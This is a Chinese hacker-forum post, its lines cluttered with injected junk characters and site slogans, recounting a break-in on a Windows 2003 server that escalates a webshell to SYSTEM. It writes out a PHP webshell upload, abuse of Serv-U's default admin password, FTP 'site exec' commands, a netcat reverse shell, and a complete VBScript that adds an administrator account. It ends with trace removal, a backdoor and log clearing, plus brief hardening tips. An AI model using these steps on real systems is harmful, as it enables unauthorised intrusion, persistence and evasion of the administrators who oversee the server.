资讯·论坛·笑话大全·QQ表情·设为首页
发新话题
打印

[黑客攻防] 记一次FTP提权

记一次FTP提权

之前我已经得到一个SHELL
5 \$ H# @$ D! c. T, b3 t9 G打造最好的电脑自学交流论坛不过没有多大的权限,如图1
0 O& C" `& Y) T7 H" q+ S. J我爱电脑技术社区--打造最好的电脑技术自学交流平台WScript.Shell 和Wscript.Network被干掉了www.520diannao.com* y! I. r" j2 o2 j
没办法运行程序
" M& v+ h1 I0 s- c: A/ S不过还好,FSO还是支持的,先逛逛看有什么好东西
8 J$ Z8 f0 c: |电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站c:\我爱电脑技术论坛; E( k, [& B+ S: E
没有权限打开,意料中的- [' I4 Y+ h. o) W- S* E
c:\winnt\
6 a% L, B- c! @我爱电脑技术社区--打造最好的电脑技术自学交流平台没有此目录或没有权限打开
) B6 }. W; ?+ ~4 ?2 x0 O: P9 Z/ z打造最好的电脑自学交流论坛再看看c:\windows
. E6 |: n' X2 G! \; g: k0 q8 m; M# f! F我爱电脑技术论坛打开了,看来是win2003的系统啊
; ~5 V3 ^0 c* ^  c) S8 h; {! Xwww.520diannao.com本来还打算数据库溢出返回一个CMD呢,虽然是GUEST权限的,但是还可以执行程序的,现在win2003的数据库溢出成功率不大,这条路走不通了
5 h% Z) Q; l* v7 c3 d' r# W+ [www.520diannao.com我爱电脑技术论坛8 b0 Z6 y/ ^: C

" t1 I8 `; D  A/ p6 L我爱电脑技术社区--打造最好的电脑技术自学交流平台c:\php
+ O, u. f/ o1 i4 ~存在,太好了,先看下我们得到的这个WEBSHELL的目录支持PHP不,传个PHP马上去
8 H: B7 n, [1 r- T% I( }3 F/ Phttp://www.target.com/php.php,哈,支持,太爽了
1 e8 j& {- q0 z: ^4 v! d: `& c
" W. f  C/ O. Q! x* {! u0 U这样的话就不怕没有运行程序的权限了
1 V$ a# @& ]% g: B: e现在来看下有没有装serv-u,要是有serv-u的话,那提权成功的希望就大了电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站; r+ ^9 H3 U+ O+ X9 W! v5 J

' u! W7 N5 C+ U$ }  AC:\WINDOWS>ftp *.*.*.*
) }# h. ?) n, E- q) W# kConnected to www.east-venice.com.
3 ?' j5 P3 p& u2 I1 e220 Serv-U FTP Server v6.2 for WinSock ready...$ T0 l! a- m; E0 P' N  H$ ?# _
User (www.east-venice.com:(none)):我爱电脑技术论坛  ^. n, k5 `4 I  h* r1 |

6 t# i$ O5 @: e2 Cwww.520diannao.com哈哈,Serv-U 6.2的,希望不要改默认密码www.520diannao.com6 t, N  w% b+ N
我爱电脑技术社区--打造最好的电脑技术自学交流平台6 z7 H% B4 p8 n1 ?6 I9 x% g* s3 z
现在好了,有PHP,有Serv-U ,现在就传个WOFEIWO的Serv-U All Version本地提升权限的PHP程序上去,我用的是朋友CiKer做过免杀处理的(在此感谢下woweiwo写了这么好的东西,也感谢朋友ciker) / e8 c6 D- M+ u) m. T% L. \
先用默认的用户名和密码加个FTP用户看(祈祷:希望不要改了默认密码)
0 g$ Y1 x: }1 f8 v0 v我爱电脑技术社区--打造最好的电脑技术自学交流平台还真没改默认密码(其实serv-u6.02以上的版本可以直接在管理哪里改密码的,我幸运的是这个管理没有改)如图3, ]* J. |- K5 \$ Y9 J: s
我爱电脑技术社区--打造最好的电脑技术自学交流平台8 c- F' @; G8 T9 d% Z6 d7 @
具有特权的FTP帐号加好了,现在来用找个特权的FTP帐号继续加个体统用户来登陆终端
( Q2 f6 o0 o- b( r# I- z如图4我爱电脑技术社区--打造最好的电脑技术自学交流平台  s1 t" U+ ~: o* U4 d9 |
我爱电脑技术社区--打造最好的电脑技术自学交流平台: T+ v+ D+ r) X- B, T
用加的这个用户登陆终端看看
5 ~" D& h- h/ v+ p1 i2 `9 w' Pwww.520diannao.com1 y' N* \/ C4 k% ?6 ~1 H
系统无法让您登陆。。。。。
% X" W" ?( t5 t8 U( K6 @" g1 U' r电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站明明成功了啊打造最好的电脑自学交流论坛, K. m! H7 ~7 c1 w
怎么不让登陆呢
" S1 _& |3 C/ {6 P" h% \1 h打造最好的电脑自学交流论坛打造最好的电脑自学交流论坛# d0 v8 M' U- c  Q% ?- Y
自己直接在CMD下用超级FTP帐号登陆电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站2 Z" g( F: [. j
然后执行命令打造最好的电脑自学交流论坛7 o* b2 X+ I; C2 V+ E
如下:电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站8 L9 \/ H5 G$ e
220 Serv-U FTP Server v6.2 for WinSock ready...我爱电脑技术社区--打造最好的电脑技术自学交流平台$ L4 L; ]) l. j' y
User (www.east-venice.com:(none)): fuck打造最好的电脑自学交流论坛  c8 i5 _" ?" e3 U6 h% s9 C
331 User name okay, need password.我爱电脑技术社区--打造最好的电脑技术自学交流平台9 Q6 B- T+ J- f$ R; X3 m% R3 O
Password:
6 s1 a5 q9 ?3 W- A9 r( g230 User logged in, proceed.
- z: A* N) F+ m( U1 g# ^我爱电脑技术论坛ftp> quote site exec "net user fuck fuckyou /add"
8 h( F9 V% y8 @' f2 T. E. I0 i5 ^! j打造最好的电脑自学交流论坛501 Cannot EXEC command line (error=0).

TOP

不能执行命令打造最好的电脑自学交流论坛, S7 V/ N" }* j7 A) I
奇怪了/ V. b3 q2 D1 T0 Y) w
ftp> quote site exec "ipconfig"电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站: g- _6 ^0 V1 m8 B% x- L
200 EXEC command successful (TID=33).我爱电脑技术社区--打造最好的电脑技术自学交流平台/ ~8 }' V% s4 ?3 a7 h) b! b& _
这个命令可以执行www.520diannao.com3 E' ^& |2 N" L% _$ |& Z+ N
估计是NET被做了限制,传个NC上去返回一个SHELL,(这个返回的SHELL可是system的权限)我爱电脑技术论坛" a3 T2 M3 h( P" e# u$ }
先用nc在本地监听1340端口,nc -l -p 1340
; R! X3 H1 i5 ]0 Y" C- ~! \2 `我爱电脑技术社区--打造最好的电脑技术自学交流平台在cmd下执行 quote site exec "c:\nc.exe -e cmd.exe *.*.*.* 1340"电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站( o- @( F7 J  f& `( G9 q

. j- s, c7 N2 g/ k, w我爱电脑技术论坛返回了电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站  ~. q* A/ y3 n9 y$ p+ V. ^
net user打造最好的电脑自学交流论坛. E: M. G1 X! b6 n& p- s8 y1 q, k
没有权限运行
' i+ V0 T/ k& h! Z2 y) R4 K我爱电脑技术论坛用cacls c:\windows\system32\net.exe查看下net的权限设置,(cacls具体的用法参考前几期的杂志)打造最好的电脑自学交流论坛  c. m! g3 U- @1 ?
也没有没有权限运行,设置的比较变态www.520diannao.com2 x' P. _# k" ^" b) l1 I- }* H1 b, h9 D
自己传个net上去,改名为user.exewww.520diannao.com5 }) b( A; o4 y7 Q1 X& Y+ s
user.exe user 还是没有权限打造最好的电脑自学交流论坛) a* Z5 S4 ?/ m0 u3 [$ I% I: K
(刚开始以为NET.EXE做了NTFS权限设置或者做了组策略(后来我成功登陆后查看了组策略,没有做过),所以我传了个NET上去,改了名字,但是还是不可以运行,这样我就以为是删除了HKEY_LOCAL_MACHINE\SAM\SAM下的C建值,因为删除了这个就不可以用NET了,我自己测试过的,但是后来我自己导出了这个的值,HKEY_LOCAL_MACHINE\SAM\SAM的C建值还在的,这里我就不知道用到什么方法禁止掉net的,删除了C建值的不能用NET,在计算机管理用户哪里也不可以加用户的,只有把这个C建值导入才可以建)
% A4 u6 n3 g3 t+ h2 D' R7 ~/ L: @我爱电脑技术社区--打造最好的电脑技术自学交流平台电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站, R8 J7 K. l' f0 H5 L. I2 \
既然不是删除了c建值,我记得用一个VBS可以建立用户的(我自己测试环境是设置组策略不能运行net.exe net1.net和对net.exe和net1.exe 加了NTFS权限设置 )电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站4 a6 F- e8 k3 s& S6 ~+ S" |) n
代码如下, G5 A  \* F5 a
struser=wscript.arguments(0)
7 B5 a# F/ m& p电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站strpass=wscript.arguments(1)
+ }! I4 |# n( m4 `0 L7 [  d5 p电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站
" x3 W# [( A0 Y. ]1 c& C* D我爱电脑技术社区--打造最好的电脑技术自学交流平台set lp=createObject("WSCRIPT.NETWORK")
- g7 s) m6 n9 L7 ]% c" Jwww.520diannao.comoz="WinNT://"&lp.ComputerName
% o+ D& N- ~' z" t/ R: M0 I我爱电脑技术论坛Set ob=GetObject(oz) www.520diannao.com5 z' ~6 V6 e' O
Set oe=GetObject(oz&"/Administrators,group")
: \- U' ^) {7 t7 M( f$ K# r, Xwww.520diannao.comSet od=ob.create("user",struser)
# d. \7 r1 T: h我爱电脑技术论坛od.SetPassword strpass 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站% O- j1 j, c4 U% Z' p. k
od.SetInfo 打造最好的电脑自学交流论坛) d7 Z) M! |9 n3 b7 K; M! q4 |) d
Set of=GetObject(oz&"/" & struser & ",user")
( N/ v' |% E3 g- c+ a: H9 f) l- }  L( woe.Add(of.ADsPath) 打造最好的电脑自学交流论坛2 R' m( f+ ]) q/ [3 I
- D8 B# U. w$ `# j5 R/ k
For Each admin in oe.Members我爱电脑技术社区--打造最好的电脑技术自学交流平台( h" [$ {5 x4 X2 [$ b
if struser=admin.Name then打造最好的电脑自学交流论坛# M; j- S8 P$ `# G$ F* W8 e
Wscript.echo struser & " 建立成功!"/ p7 }% C7 N& ?- L
wscript.quit
( p* w2 |' K  m  q. B) j" \+ g) u" V电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站end ifwww.520diannao.com" H: W1 U* z" T3 Y3 ^& ^
Next
; A2 k$ G! ]0 j1 \0 c  c+ b; O2 |我爱电脑技术社区--打造最好的电脑技术自学交流平台
& e8 ~8 V  w  Y打造最好的电脑自学交流论坛Wscript.echo struser & " 用户建立失败!"打造最好的电脑自学交流论坛1 m8 o7 N0 {6 X) p  ]9 _

& {$ n; h& L' m/ W4 |我爱电脑技术社区--打造最好的电脑技术自学交流平台
1 f+ L- c! M0 U9 _, f9 g! G我爱电脑技术论坛用法:cscript user.vbs 用户 密码- i9 C' q/ I- C: @5 w& A5 d' X

+ i- ^: a- i# |8 L' S! `( b6 O: C电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站执行后返回如下错误
7 ]0 _7 L' C) [2 r+ k4 _我爱电脑技术社区--打造最好的电脑技术自学交流平台C:\>cscript user.vbs fuck fuckyou
* c  B6 f. n7 z8 t. u5 _打造最好的电脑自学交流论坛Microsoft (R) Windows Script Host Version 5.6www.520diannao.com) p% t1 s1 f6 s
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站& L+ c' K& G% k& V& D& r
我爱电脑技术论坛& P8 n, B1 ^/ d- t- D
C:\user.vbs(4, 1) Microsoft VBScript 运行时错误: ActiveX 部件不能创建对象: 'WSCRIPT.NETWORK'
8 N9 q9 m% g& N电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站
9 J# b* V, v+ H1 ~4 T我爱电脑技术论坛电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站: T6 N9 a1 f9 u* R
这个VBS是利用这个组件来建立用户的
, u3 ^9 r" {4 o3 \9 wwshom.ocx这个程序文件是支持这个组件的,先找找看这个组件在不在,不在的话本地传一个上去,运气好,这个组件看来只是卸载了这个组件,并没有删除电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站* G) J9 ]( ^. n5 Q  t  |( [
那我们就注册这个组件
% r$ i( K, s. D/ b6 a3 e我爱电脑技术论坛regsvr32 C:\WINdows\System32\wshom.ocx我爱电脑技术社区--打造最好的电脑技术自学交流平台# C8 D) Q  B5 D1 e' U$ f2 d

" x/ _/ B* o  m/ L0 ~  O  O打造最好的电脑自学交流论坛
* @- G% V$ Q8 t) s. \电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站继续执行我爱电脑技术论坛1 D  D) o3 b, O- T! n

  F9 F9 H$ L6 [% u! m* n9 X2 K电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站C:\>cscript user.vbs fuck fuckyou我爱电脑技术社区--打造最好的电脑技术自学交流平台+ M" ]1 a& r3 ]: Q
Microsoft (R) Windows Script Host Version 5.6
4 l6 H+ q+ F$ G5 }0 \( e" S我爱电脑技术论坛版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
" h  a. Z6 Q6 O6 Y0 K; h4 [www.520diannao.com
/ z$ J* s+ l, z, l" n% V. y' K$ s打造最好的电脑自学交流论坛fuck 建立成功!我爱电脑技术社区--打造最好的电脑技术自学交流平台/ m7 Z/ v+ N  J' X& o6 }  I
建立成功了
+ w% m6 \& v# h" v电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站# j( R7 s' w& b8 R9 ~. d
用这个登陆终端电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站) n0 K7 @+ C) A4 {, i) E

9 O0 Z8 _& L6 {8 o# B+ h& F0 O' F打造最好的电脑自学交流论坛端口也没有改,我的运气不是一般的好我爱电脑技术论坛5 g. @6 }% O& \$ U" u
连终端端口都不用找打造最好的电脑自学交流论坛' J- L7 n# g7 k9 v9 [5 W2 a
登陆成功了
, u, ?) _: M3 r4 A5 R# P我爱电脑技术论坛打造最好的电脑自学交流论坛5 L+ ^: \- b5 W
上去先清楚自己的痕迹www.520diannao.com# Q+ X9 u1 s+ D3 Q7 @
删除NC.EXE
$ Q$ k9 o7 n3 I打造最好的电脑自学交流论坛删除user.vbs电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站+ A7 ~& x& w. }+ l6 R7 E
然后再卸载wshom.ocx这个程序文件,一切争取做的和被我们入侵以前一样
; _; V+ Y/ h, q2 M5 k7 S9 x. a* t5 E0 [留后门我爱电脑技术社区--打造最好的电脑技术自学交流平台2 Z3 t7 @/ S2 \( Z4 r. Y- a7 j
再清理日志我爱电脑技术社区--打造最好的电脑技术自学交流平台5 [' C- F9 y" P6 N# Y
我爱电脑技术社区--打造最好的电脑技术自学交流平台1 l$ Z4 A0 M0 G! f

5 T3 {1 }$ O( z0 ^0 c电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站总结:
9 o# h+ F' s8 V8 vwww.520diannao.com这次得到管理权限确实有点不容易,服务器总体设置比较好,但是服务器的设置忘记了一点,"不该给的权限一点都不要给"本来我只有一个ASP站点的WEBSHELL,如果站点不用PHP的话,就把PHP的扩展删除(引申下就是只留有用后缀扩展,不用一律删除,如果以后要用的时候可以再加的),还有就是管理员的疏忽,从总体来看管理员还是有很好的安全意识,但是为什么不改掉SERR-U的默认密码呢,给我有了可乘之机,有了进一步的权限,FTP的系统权限,其实有了这个权限就等于有了系统的SYSTEM权限了。电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站& ^# n. Z* z3 l1 x, G1 ^
不过这次也学到一点就是删除一切不必要的组件,象WSCRIPT.NETWORK这个组件我以前是很少注意的
) h( v3 |" o9 S+ }我爱电脑技术社区--打造最好的电脑技术自学交流平台regsvr32/u C:\WINNT\System32\wshom.ocx
, \( o; U) ^7 K3 X1 m我爱电脑技术社区--打造最好的电脑技术自学交流平台del C:\WINNT\System32\wshom.ocxwww.520diannao.com5 Z6 j4 @8 {( B7 Q& a- S
regsvr32/u C:\WINNT\system32\shell32.dll0 P% z5 O* a! Z! A' ^
del C:\WINNT\system32\shell32.dll
" Y2 C, I7 N2 S电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站运行一下,WScript.Shell, Shell.application, WScript.Network就会被卸载了。可能会提示无法删除文件,不用管它,重启一下服务器,你会发现这三个都提示"×安全"了。

TOP

发新话题